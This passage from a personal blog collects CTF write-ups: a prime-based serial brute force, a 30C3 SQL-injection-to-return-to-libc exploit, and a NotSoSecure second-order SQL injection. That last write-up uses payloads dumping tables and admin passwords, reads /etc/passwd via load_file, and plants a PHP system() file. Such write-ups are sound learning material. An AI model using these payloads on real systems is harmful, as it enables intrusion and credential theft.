<span style="color: maroon; font-weight: bold;">for</span> x <span style="color: maroon; font-weight: bold;">in</span> <span style="color: #808030;">[</span>a<span style="color: #808030;">+</span>b<span style="color: #808030;">*</span>n <span style="color: maroon; font-weight: bold;">for</span> n <span style="color: maroon; font-weight: bold;">in</span> <span style="color: #e34adc;">range</span><span style="color: #808030;">(</span>k<span style="color: #808030;">)</span><span style="color: #808030;">]</span><span style="color: #808030;">:</span>
<span style="color: maroon; font-weight: bold;">if</span> <span style="color: maroon; font-weight: bold;">not</span> is_prime<span style="color: #808030;">(</span>x<span style="color: #808030;">)</span><span style="color: #808030;">:</span>
<span style="color: maroon; font-weight: bold;">raise</span>
with <span style="color: #e34adc;">open</span><span style="color: #808030;">(</span><span style="color: #0000e6;">'flag.txt'</span><span style="color: #808030;">,</span><span style="color: #0000e6;">'r'</span><span style="color: #808030;">)</span> as f<span style="color: #808030;">:</span>
<span style="color: maroon; font-weight: bold;">print</span> f<span style="color: #808030;">.</span>read<span style="color: #808030;">(</span><span style="color: #808030;">)</span>
<span style="color: maroon; font-weight: bold;">except</span><span style="color: #808030;">:</span>
<span style="color: maroon; font-weight: bold;">print</span> <span style="color: #0000e6;">'Bzzt. Wrong!'</span>
<span style="color: maroon; font-weight: bold;">if</span> <span style="color: #e34adc;">__name__</span> <span style="color: #808030;">=</span><span style="color: #808030;">=</span> <span style="color: #0000e6;">'__main__'</span><span style="color: #808030;">:</span>
main<span style="color: #808030;">(</span><span style="color: #808030;">)</span></pre>
<div>
<br /></div>
Basically, we need to enter 3 sections that consist of a large (5 char long) and a small (3 char long) number. The large numbers all have to be prime. The second part of the algorithm checks that all the numbers of the form <span style="font-family: Courier New, Courier, monospace;">a+b*n</span> are prime, where a is the big number, b is the small number and n goes from 0 to k; k is 7 for the first part, 8 for the second and 9 for the third. Based on this, it is pretty straightforward to brute force a serial.<div>
<br /></div>
<div>
Additionally, one of my teammates discovered a very nice trick to bypass the part that makes sure we entered 3 different sections. The numbers are compared in string form, and so we can prepend a 0 to them and they will appear different. Since <span style="font-family: Courier New, Courier, monospace;">int()</span> uses base 10 by default, this isn't a problem in python (other languages may detect octal notation). In the end, we couldn't use this method, it didn't work remotely for some reason.</div>
<div>
<br /></div>
<div>
I wrote this script to brute force a serial:</div>
<div>
<br /></div>
<div>
<pre><span style="color: maroon; font-weight: bold;">def</span> serial_test<span style="color: #808030;">(</span>b<span style="color: #808030;">,</span> s<span style="color: #808030;">,</span> k<span style="color: #808030;">)</span><span style="color: #808030;">:</span>
<span style="color: maroon; font-weight: bold;">for</span> x <span style="color: maroon; font-weight: bold;">in</span> <span style="color: #808030;">[</span>b<span style="color: #808030;">+</span>s<span style="color: #808030;">*</span>n <span style="color: maroon; font-weight: bold;">for</span> n <span style="color: maroon; font-weight: bold;">in</span> <span style="color: #e34adc;">range</span><span style="color: #808030;">(</span>k<span style="color: #808030;">)</span><span style="color: #808030;">]</span><span style="color: #808030;">:</span>
<span style="color: maroon; font-weight: bold;">if</span> <span style="color: maroon; font-weight: bold;">not</span> x <span style="color: maroon; font-weight: bold;">in</span> big_primes<span style="color: #808030;">:</span>
<span style="color: maroon; font-weight: bold;">return</span> <span style="color: #e34adc;">False</span>
<span style="color: maroon; font-weight: bold;">return</span> <span style="color: #e34adc;">True</span>
<span style="color: maroon; font-weight: bold;">def</span> main<span style="color: #808030;">(</span><span style="color: #808030;">)</span><span style="color: #808030;">:</span>
primes <span style="color: #808030;">=</span> generate_primes<span style="color: #808030;">(</span><span style="color: #808030;">)</span>
p <span style="color: #808030;">=</span> primes<span style="color: #808030;">.</span>next<span style="color: #808030;">(</span><span style="color: #808030;">)</span>
<span style="color: maroon; font-weight: bold;">while</span> p <span style="color: #808030;"><</span> <span style="color: #008c00;">10000</span><span style="color: #808030;">:</span>
p <span style="color: #808030;">=</span> primes<span style="color: #808030;">.</span>next<span style="color: #808030;">(</span><span style="color: #808030;">)</span>
<span style="color: maroon; font-weight: bold;">while</span> p <span style="color: #808030;"><</span> <span style="color: #008c00;">100000</span><span style="color: #808030;">:</span>
big_primes<span style="color: #808030;">.</span>append<span style="color: #808030;">(</span>p<span style="color: #808030;">)</span>
p <span style="color: #808030;">=</span> primes<span style="color: #808030;">.</span>next<span style="color: #808030;">(</span><span style="color: #808030;">)</span>
<span style="color: maroon; font-weight: bold;">for</span> s <span style="color: maroon; font-weight: bold;">in</span> <span style="color: #e34adc;">range</span><span style="color: #808030;">(</span><span style="color: #008c00;">100</span><span style="color: #808030;">,</span> <span style="color: #008c00;">1000</span><span style="color: #808030;">)</span><span style="color: #808030;">:</span>
<span style="color: maroon; font-weight: bold;">print</span> s
<span style="color: maroon; font-weight: bold;">for</span> b <span style="color: maroon; font-weight: bold;">in</span> big_primes<span style="color: #808030;">:</span>
<span style="color: maroon; font-weight: bold;">if</span> serial_test<span style="color: #808030;">(</span>b<span style="color: #808030;">,</span> s<span style="color: #808030;">,</span> <span style="color: #008c00;">9</span><span style="color: #808030;">)</span><span style="color: #808030;">:</span>
<span style="color: maroon; font-weight: bold;">print</span> b<span style="color: #808030;">,</span> s</pre>
<br />This script was rather slow, it took about 2-3 seconds to check a single s value (with k=9). We could have made tons of changes to make it fast, but we decided not to waste time and just ran this in parallel. In the end we found 3 values that work up to k=9, though we only needed k=8 and k=7 for two of these. The resulting serial was: 61637-420-10859-210-10861-840. Sending this to the server resulted in a key: "<span style="white-space: pre-wrap;">ThesePrimesAreNotIllegal". </span></div>
<div>
<span style="white-space: pre-wrap;"><br /></span></div>
<div>
<span style="white-space: pre-wrap;">Thanks to AKG and KT, and the whole SpamAndHex (Lite) team. </span><span style="white-space: pre-wrap;">Thanks to the Ghost in the Shellcode team for making this amazing CTF, we had lots of fun.</span></div>
<div>
<br /></div>
balidanihttp://www.blogger.com/profile/05810943104283312084noreply@blogger.com1tag:blogger.com,1999:blog-7011836621605765499.post-46525086965275771892013-12-29T11:00:00.000-08:002013-12-29T11:00:05.734-08:0030C3 CTF - todos writeupI don't have much experience with exploitation, so this one was pretty hard for me, but it was a very exciting challenge and I had lots of fun solving it. Here is the task description:<br />
<blockquote class="tr_bq">
A simple todo manager, try it - when you find bugs, tell us, will add to our todo list... Thanks!<br />
<a href="https://30c3ctf.aachen.ccc.de/static/todos.tar.gz">todos.tar.gz</a> running on 88.198.89.199:1234</blockquote>
Let's test the service first, so we get an idea about how it works.<br />
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">$ nc 88.198.89.199 1234<br />Welcome to TTT (the todo tool)!<br />If you're new, try help<br /><span style="color: #0b5394;">help</span><br />Commands:<br />help: Print this help screen<br />register <user> <pass>: register a new user<br />login <user> <pass>: Login when you have registered already.<br /><span style="color: #0b5394;">register balidani balidani</span><br />User successfully created.<br /><span style="color: #0b5394;">login balidani balidani</span><br />logged in...<br /><span style="color: #0b5394;">help</span><br />Commands:<br />help: Print this help screen<br />show <num>: show a record from the last search<br />search <substring>: search for entries<br />add <content>: add an entry</span></blockquote>
We can register a user, store items and search them. The registered user and the stored items are persistent.<br />
<br />
The tar contains a 64-bit ELF binary. Loading it up in IDA, we can see that it imports MySQL functions and not much else. It doesn't handle sockets, so it's probably just piped to a socket. If we look at the strings, we can also read the queries that the service uses:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGtmEPPsfq6Oi_8ZGaNCOsFLEkz1zknsCGXJR-CfzYMFB9KZF7NfBmOqx_RB1Mi3SoPV1rHcizIKJRbQbYHuV_969SQ2Oe8DJFvI_35KU4TcNcUi0s2cU3ixUuJY_j8IsGJ1EdxP8A6_A/s1600/todos_strings.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="54" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGtmEPPsfq6Oi_8ZGaNCOsFLEkz1zknsCGXJR-CfzYMFB9KZF7NfBmOqx_RB1Mi3SoPV1rHcizIKJRbQbYHuV_969SQ2Oe8DJFvI_35KU4TcNcUi0s2cU3ixUuJY_j8IsGJ1EdxP8A6_A/s320/todos_strings.png" width="320" /></a></div>
<br />
After checking the code that uses these strings, the query used for searching looks vulnerable to SQL injection. We can quickly confirm this:<br />
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">search x' union select 'AAAA<br />Found 1 entries, use 'show <num>' to show them.<br />show 0<br />0: AAAA%</span></blockquote>
Here we can sigh and mumble something about how SQL injection is overused in CTFs, blah, blah. But there is much more to this task, the CCCAC won't let us down with such a boring challenge. Trying to dump the database doesn't yield any interesting results. <span style="font-family: Courier New, Courier, monospace;">LOAD_FILE</span> doesn't work either. It's time to move on.<br />
<br />
There is a bigger vulnerability in the search function. It trusts the output of the first MySQL query, and uses that to determine if it has to allocate more space for the search results. If we use an union in the injected SQL query, we can bypass this, and overflow data after the struct that holds the search results. The first value after the search results is the result counter (at 203b68, relative address). After that, a struct follows with data for the menu of the service.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtRCYRzwLFc_mtGZpyhGmf-bJmWjHMOHZ4vS4pvee51Feh9UUQ_sCc9NK-KQoVArQq84l2YV1oec-X3xrKKftAh6sTnfFZf9b_aaKWJBs8oebhW9tjuX7Z0DQPhlxQnjYntytyBVnaDoE/s1600/todos_struct.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="145" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtRCYRzwLFc_mtGZpyhGmf-bJmWjHMOHZ4vS4pvee51Feh9UUQ_sCc9NK-KQoVArQq84l2YV1oec-X3xrKKftAh6sTnfFZf9b_aaKWJBs8oebhW9tjuX7Z0DQPhlxQnjYntytyBVnaDoE/s320/todos_struct.png" width="320" /></a></div>
<br />
First, there is an integer that tells the program where the command is used (before (1) or after login (2), or both (3)). Then there are 4 pointers.<br />
<br />
<ul>
<li>Command name</li>
<li>Command regex</li>
<li>Function pointer</li>
<li>Command help string</li>
</ul>
After this, there is some space for a compiled regex.<br />
<br />
The service uses ASLR, so first we have to leak an address to get the base address. Fortunately, this is very easy to do in this case. We just have to overflow a bigger number to the result count part, and then read the 11th result, which just points to 0x203c68, where the function pointer for the login function is stored. After we get the address, we can subtract 0x19d0, which is the relative address for the login function. Now we have the base address, and we can bypass ASLR!<br />
<br />
How can we exploit the service now? I decided to go with a Return to libc attack. Here are the steps to exploitation:<br />
<br />
<ul>
<li>Find libc</li>
<li>Find the system functions address</li>
<li>Replace the function pointer of the add command (at 0x203d68) to system</li>
<li>Call the add command with our payload (ls, cat, any command)</li>
</ul>
To find libc addresses, we needed yet another way to leak information. One way to do this is by overflowing the help string pointer of a command and then checking the help.<br />
<br />
During exploitation, there was a problem with overflowing non-ASCII data. The original approach was to use a payload like this:<br />
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">x' <union select 10 thins from somewhere> union select char(10) union select unhex('aaaaaaaa')#</span></blockquote>
Where '<span style="font-family: Courier New, Courier, monospace;">aaaaaaaa</span>' is the payload, hex encoded. Somehow this didn't work for non-ASCII characters. Interestingly, it worked when the data wasn't overflown, but after the 10th selected item it stopped working. Then I switched to another method. We can register a new user, add an item containing non-ASCII values, and select that for the 12th or 13rd items. Here is the version of the exploit that does this: <a href="https://gist.github.com/balidani/676c0df21f67d752b695">https://gist.github.com/balidani/676c0df21f67d752b695</a><br />
<br />
Let's test the script:<br />
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">$ python leak_exploit.py 0x00<br />Leaked: 7f454c46020101</span></blockquote>
<div>
And that is the start of a beautiful ELF header, hex encoded. Of course encountering any zero bytes will terminate the string. Now we can start reading stuff from the got. After a few tries, I found the address for fread. The entry in the got was at 0x2030f0.</div>
<div>
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">$ python leak_exploit.py 0x2030f0<br />Leaked: 5098940cf87f</span></blockquote>
</div>
<div>
So fread is at 0x7ff80c949850, but this address is also changing because of ASLR, so we will need the offset from the base address instead. We find that it is -0xe917b0.</div>
<div>
<br /></div>
<div>
Now we can start poking around in libc, with the goal of finding <span style="font-family: Courier New, Courier, monospace;">system</span>. Unfortunately the version of libc I had was different from the one on the server. How do we find the libc version? I spent lots of time on this, until a teammate showed me that there is a copyright string in libc with version info. After reading random addresses around fread, I found some strings, and from there finding the version info was easy. The address was -0xd75180.</div>
<div>
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">Leaked: GNU C Library (Ubuntu EGLIBC 2.17-93ubuntu4) stable release version 2.17, by Roland McGrath et al.</span></blockquote>
</div>
<div>
After trying a few versions, I found that the AMD64 one matched the bytecode found in fread identically. From here, we can load the library in IDA, and calculate the offset difference between system and fread. The final offset for system was at -0xebace0. Here is the final exploit that overflows this address and then calls system with <span style="font-family: Courier New, Courier, monospace;">cat /home/user/flag</span>. <a href="https://gist.github.com/balidani/0bb9f0927f751b630c67">https://gist.github.com/balidani/0bb9f0927f751b630c67</a></div>
<div>
<br /></div>
<div>
In the end we got a flag, and 300 points.</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEgsaNnBXlCsYWue9RxvB_AhLq9hUBEoC62LRzYz97rxFTwNwMXQCM9PJlgx5iil03uo547ReAQ8hjr396JDWzxOvg6izHOa3zjvhQbIl8K2cy0IIOrn61QCgpx_f1Rnc19hjJP3yekXA/s1600/todos_flag.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="161" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEgsaNnBXlCsYWue9RxvB_AhLq9hUBEoC62LRzYz97rxFTwNwMXQCM9PJlgx5iil03uo547ReAQ8hjr396JDWzxOvg6izHOa3zjvhQbIl8K2cy0IIOrn61QCgpx_f1Rnc19hjJP3yekXA/s320/todos_flag.png" width="320" /></a></div>
<div>
<br /></div>
<div>
Thanks to CCCAC for the CTF, and to SpamAndHex for being an awesome team. This task felt very well thought out. I'm waiting to see other people's writeups, I'm sure there is a better way than mine.</div>
<div>
<br /></div>
<br />balidanihttp://www.blogger.com/profile/05810943104283312084noreply@blogger.com1tag:blogger.com,1999:blog-7011836621605765499.post-75951012256235211322013-10-27T15:29:00.000-07:002013-10-27T15:29:35.560-07:00NotSoSecure CTF writeupThe NotSoSecure CTF was a one-player CTF with only 2 flags to capture. At the beginning, players were presented with a simple login page:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxWMOOPyM5vfcfVppHVIUCheLbEQcAlMdCT2b0kbFRxDHlRoopTEjk4Zbm8jTi_TaJTxKi1KV9XiDzFfWRmTTZ-hZtFCr-E4Sq7qiA_OLGT86lX7xdm7RzfFcabspN6vjbEQ-hz2mh7Sw/s1600/ctf1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="241" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxWMOOPyM5vfcfVppHVIUCheLbEQcAlMdCT2b0kbFRxDHlRoopTEjk4Zbm8jTi_TaJTxKi1KV9XiDzFfWRmTTZ-hZtFCr-E4Sq7qiA_OLGT86lX7xdm7RzfFcabspN6vjbEQ-hz2mh7Sw/s320/ctf1.png" width="320" /></a></div>
<br />
<div>
I was trying for a very long time to inject some SQL into the username of password fields, to no avail. Then when I was checking out Twitter, I found that somebody has already managed to log in by registering. Then I tried to load register.php, and it worked. I got a nice message there: "Invalid data".</div>
<div>
<br /></div>
<div>
I tried to send post data to the register page, but I couldn't get the post parameter names correctly, because I always received the "Invalid data" message. After this, I tried to load different pages with mixed results. Then when I tried /login/ the result was strange. The HTML was the same, but the CSS could not be loaded because of the different path. It was the same with /register/ and /login/login/.../.</div>
<div>
<br /></div>
<div>
After looking at the HTML source in detail, I found that the login parameters are actually submitted to checklogin.php. When trying to load the /checklogin/ page however, the browser displayed a redirection error. That was strange, so I checked it out with this little python code instead:</div>
<div>
<br /></div>
<div>
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">url = "http://ctf.notsosecure.com/71367217217126217712/checklogin"<br />print requests.get(url, allow_redirects=False).text</span></blockquote>
</div>
<div>
The result was: 7365637265745f72656769737465722e68746d6c. If we unhexlify this value, we get: "secret_register.html", and this is the first clue. After this I could register, and log in with the new user. This is what I saw when logging in:</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_ZEDuv3MnrZQEkahLaddbyNkpJC7KZ9v6W7T78diTJT3DkriHGk5L_dDkCxhB5skyYX8Y43GFw0nhwceEZyHpQkrtym7vwFhLSFb-y3W6KbSR_bZcpCNaT_RsSMQSKom_GH3SlgaGNzc/s1600/ctf2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="219" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_ZEDuv3MnrZQEkahLaddbyNkpJC7KZ9v6W7T78diTJT3DkriHGk5L_dDkCxhB5skyYX8Y43GFw0nhwceEZyHpQkrtym7vwFhLSFb-y3W6KbSR_bZcpCNaT_RsSMQSKom_GH3SlgaGNzc/s320/ctf2.png" width="320" /></a></div>
<div>
<br /></div>
<div>
Again I spent lots and lots of time trying to slip some SQLi into the system when registering, but it never seemed to work. No error messages, and the user was registered correctly every time. Then I looked at the cookies after logging in and I found something interesting:</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4GpFTfIupwpHBMNb7TujW6Gc1nw3nUYF39WswYMOUGrIpq8FBIgP-sBrJiXpnCuUufBOsKh8jD-LdW0EPooUpd2ik6m_7BP7nWKgeb4_GfchOY2DnAzTug3Bi_LRKuJd7gM2mW6X6jJw/s1600/ctf3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="113" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4GpFTfIupwpHBMNb7TujW6Gc1nw3nUYF39WswYMOUGrIpq8FBIgP-sBrJiXpnCuUufBOsKh8jD-LdW0EPooUpd2ik6m_7BP7nWKgeb4_GfchOY2DnAzTug3Bi_LRKuJd7gM2mW6X6jJw/s320/ctf3.png" width="320" /></a></div>
<br />
<br />
The session_id was "cGxhaW50ZXh0QHBsYWludGV4dC5wbA%3D%3D", which is a base64 encoded string. After decoding it I got "plaintext@plaintext.pl", which is the fake e-mail address I registered with. During some tests I discovered that there is no session_id cookie if I try to inject into the username field. After this I wrote a python script that registers a user with the input I supply and checks the cookies. You can find the script <a href="https://gist.github.com/balidani/04f79e3aa0086f080513">here</a>. These values were interesting:<br />
<br />
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">registered value --> cookie<br />---------------------------<br />admin\ --> admin@notsosecure.com<br />admin\\ --> admin\<br />admin\\\ --> admin\<br />admin\\\\ --> admin\\</span></blockquote>
The backslashes are very suspiciously escaped here so I tried to do some SQLi and check the cookie for the results. Amazingly it worked. Here is the output of my script:<br />
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">test' or 1=1--<br />Cookie: admin@sqlilabs.com<br />test' and 1=0 union all select 1--<br />Cookie: missing<br />test' and 1=0 union all select 1,2--<br />Cookie: 1</span></blockquote>
<div>
Gotcha! It's time to dump table names and columns. A log of my tries follows, with some of the unnecessary tries deleted:</div>
<div>
<br /></div>
<div>
<div>
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">test' and 1=0 union all select 1,2 from information_schema.tables--<br /><span style="color: #6aa84f;">Cookie: 1</span></span></blockquote>
</div>
<div>
We have read access!<br />
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">test' and 1=0 union all select table_name,2 from information_schema.tables limit 40,1--<br /><span style="color: #6aa84f;">Cookie: users</span><br />test' and 1=0 union all select table_schema,2 from information_schema.tables limit 40,1--<br /> <span style="color: #6aa84f;">Cookie: 2ndorder</span><br />test' and 1=0 union all select column_name,2 from information_schema.columns where table_name='users' limit 0,1--<br /><span style="color: #6aa84f;">Cookie: id</span><br />test' and 1=0 union all select column_name,2 from information_schema.columns where table_name='users' limit 1,1--<br /><span style="color: #6aa84f;">Cookie: name</span><br />test' and 1=0 union all select column_name,2 from information_schema.columns where table_name='users' limit 2,1--<br /><span style="color: #6aa84f;">Cookie: password</span></span></blockquote>
</div>
<div>
And I can find the password for the admin with this query:</div>
<div>
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">test' and 1=0 union all select concat(name,char(0x20),password),1 from 2ndorder.users--<br /><span style="color: #6aa84f;">Cookie: admin sqlilabRocKs!!</span></span></blockquote>
</div>
<div>
Yay! I can now log in and get the first flag!</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUKgzN4_dls0yn0l-tRyuYDTF25F4kGJ2ThUtESbm2mpiTqSIB4-igFx4EQaMiD6VuB0Qq_5LGd1gbMQEuxuanyQxf_Wi_B7BfYoUQluK0t3ejP0R4mGOinIxv-P0UzOjw4XxYrwui5KA/s1600/ctf4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="219" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUKgzN4_dls0yn0l-tRyuYDTF25F4kGJ2ThUtESbm2mpiTqSIB4-igFx4EQaMiD6VuB0Qq_5LGd1gbMQEuxuanyQxf_Wi_B7BfYoUQluK0t3ejP0R4mGOinIxv-P0UzOjw4XxYrwui5KA/s320/ctf4.png" width="320" /></a></div>
<br />
And I get a very clear clue about the second flag. I need to access files on the server, namely secret.txt. Let's see if I have file privileges in MySQL:<br />
<div>
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">test' and 1=0 union all selectload_file('/etc/passwd'),1--<br /><span style="color: #6aa84f;">Cookie: root:x:0:0:root:/root:/bin/bash<br />daemon:x:1:1:daemon:/usr/sbin:/bin/sh<br />...<br />ctf:x:1000:1000:,,,:/home/ctf:/bin/bash<br />temp123:x:1001:1001:weakpassword1:/home/temp123:/bin/sh</span></span></blockquote>
</div>
I do, and I just found another clue: temp123 is a user that we might log into, because they have a <i>weak password</i>. And indeed, the password was "weakpassword1". I can now look around on the server to find the second flag. It's in the root directory and it's only readable by the www-data user, and so I need to have code execution from www-data. To achieve this, I created a public_html directory for user temp123 and placed a php file in it:</div>
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;"><?php echo system("cat /secret.txt"); ?></span></blockquote>
This worked like a charm! After visiting http://ctf.notsosecure.com/~temp123/x.php I found the second flag.<br />
<div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi31oV5t2Q-TBHNlI6IWNgBd6xb7vJ4_xWz8axCkDqgMne1KbZY1slB53oM5QPRWcyBFYDqEUIxhf9nEcDZCViYDULhyphenhyphenmzVBen7vKEqR6l2hJDpb0TQctrniYKzGCiGGbe3S7Wk3cT1YX4/s1600/ctf5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="222" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi31oV5t2Q-TBHNlI6IWNgBd6xb7vJ4_xWz8axCkDqgMne1KbZY1slB53oM5QPRWcyBFYDqEUIxhf9nEcDZCViYDULhyphenhyphenmzVBen7vKEqR6l2hJDpb0TQctrniYKzGCiGGbe3S7Wk3cT1YX4/s320/ctf5.png" width="320" /></a></div>
<div>
<br /></div>
<div>
Thanks for the challenge to Sid and NotSoSecure CTF, it was nice!</div>
</div>
balidanihttp://www.blogger.com/profile/05810943104283312084noreply@blogger.com0tag:blogger.com,1999:blog-7011836621605765499.post-83100671993274741662013-10-24T05:33:00.000-07:002013-10-24T13:19:07.387-07:00Hack.lu CTF - Crypto 200 (Geier's Lambda)Hack.lu CTF was great! !SpamAndHex finished at #15, so there is room for improvement, but at the end of the first day we were at #3, which was pretty nice. Geier's Lambda was a crypto challenge, which we managed to solve third out of all the teams, even landing a bonus point. I did not work on this alone, thanks to the 2 other guys that worked on this!<br />
<br />
<h2>
<span style="font-size: large;">The task</span></h2>
We were given a <a href="https://ctf.fluxfingers.net/static/downloads/geiers_lambda/pwd_check.hs">Haskell source</a> for a cryptographic cipher. The task was to find a collision with a given key, which was "Le1sRI6I". First we wanted to identify the cipher to see if it's an already existing one. By googling the hex version of the integer constants (2654435769, 3337565984) we found that this is most probably the xTea cipher.<br />
<br />
First we were trying to bruteforce the collision, but we were looking at it the wrong way. However, we found something important when playing with the haskell code -- the cipher only uses the first 4 characters from the key.<br />
<br />
After inspecting the source in detail we found that the "hash" function of the code is not used anywhere, and this gave us a clue. We translated the haskell version to python:<br />
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">def hash(passwd):<br /> acc = (1, 0)<br /> for x in passwd:<br /> (a, b) = acc<br /> acc = (a + ord(x), a + b + ord(x))<br /> (a, b) = acc<br /> return a | (b << 16)</span></blockquote>
All this function does is collecting the sum of ASCII values into one part of the tuple, and collecting another aggregate value into the other. It is quite easy to find a collision for this. This is the bruteforce approach:<br />
<div>
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">def brute():<br /> arr = string.ascii_letters + string.digits<br /> for x in arr:<br /> for y in arr:<br /> for z in arr:<br /> for w in arr:<br /> s = "%c%c%c%c" % (x,y,z,w)<br /> if hash(s) == hash("Le1s"):<br /> print s</span></blockquote>
</div>
<div>
This gave us a list of around 1000 possible keys. Then we wrote a function that evaluates the resulting key by executing the Haskell binary (that we compiled from the source) and checking the number of ASCII characters in the deciphered result:</div>
<div>
<blockquote>
<span style="font-family: Courier New, Courier, monospace;">for pwd in passwords:<br /><span class="Apple-tab-span" style="white-space: pre;"> </span>process = Popen(['./pwd_check', pwd], stdout=PIPE)<br /><span class="Apple-tab-span" style="white-space: pre;"> </span>stdout, stderr = process.communicate()<br /><span class="Apple-tab-span" style="white-space: pre;"> </span>dat = stdout<br /><span class="Apple-tab-span" style="white-space: pre;"> </span>hex_str = "%x" % (int(dat))<br /><span class="Apple-tab-span" style="white-space: pre;"> </span>if len(hex_str) % 2 != 0:<br /><span class="Apple-tab-span" style="white-space: pre;"> </span>hex_str = "0" + hex_str<br /><span class="Apple-tab-span" style="white-space: pre;"> </span>res = unhexlify(hex_str)<br /><span class="Apple-tab-span" style="white-space: pre;"> </span>score = 0<br /><span class="Apple-tab-span" style="white-space: pre;"> </span>for ch in string.ascii_letters + string.digits + " _":<br /><span class="Apple-tab-span" style="white-space: pre;"> </span>if ch in res:<br /><span class="Apple-tab-span" style="white-space: pre;"> </span>score += 1<br /><span class="Apple-tab-span" style="white-space: pre;"> </span>if score > 5:<br /><span class="Apple-tab-span" style="white-space: pre;"> </span>print res</span></blockquote>
</div>
<div>
And after running this, we got the key straight away: <span style="font-family: Courier New, Courier, monospace;">T3aP4rTy</span></div>
<div>
<br />
Thanks again to the FluxFingers team for the nice challenges.</div>
balidanihttp://www.blogger.com/profile/05810943104283312084noreply@blogger.com5tag:blogger.com,1999:blog-7011836621605765499.post-61528735083772725002013-09-29T10:27:00.000-07:002013-09-29T10:27:26.081-07:00No cON Name Facebook CTF qualifiers writeupWith only 3 tasks and no flag submission, the No cON Name Facebook CTF had a slightly unusual qualifier. On Twitter the organizers clarified that the qualifier is "not a CTF". The teams not only had to solve the tasks, they had to create writeups as well. The tasks were interesting, but they were surprisingly easy. I worked alone this time and solved the tasks pretty quickly.<br />
<br />
<span style="font-size: large;">Level 1</span><br />
<br />
This was a web hacking challenge with some client-side JavaScript code to evaluate the key.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjnuX_V4DONnNKMV4fp72IdT_KcwSSt4WgCJnY4T6LizW1pJV1ctm2mhT46RJDDIsSFfP8KkoKFK2iA9jexEHagAzIm23v2PpDr4AWmULeWiOmcx1NYwN3d-IbeyF0w-63ga55mI0BM6lo/s1600/level1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="217" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjnuX_V4DONnNKMV4fp72IdT_KcwSSt4WgCJnY4T6LizW1pJV1ctm2mhT46RJDDIsSFfP8KkoKFK2iA9jexEHagAzIm23v2PpDr4AWmULeWiOmcx1NYwN3d-IbeyF0w-63ga55mI0BM6lo/s320/level1.png" width="320" /></a></div>
<span id="goog_832288358"></span><span id="goog_832288359"></span><br />
Looking at the underlying JavaScript we can see this obfuscated code:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
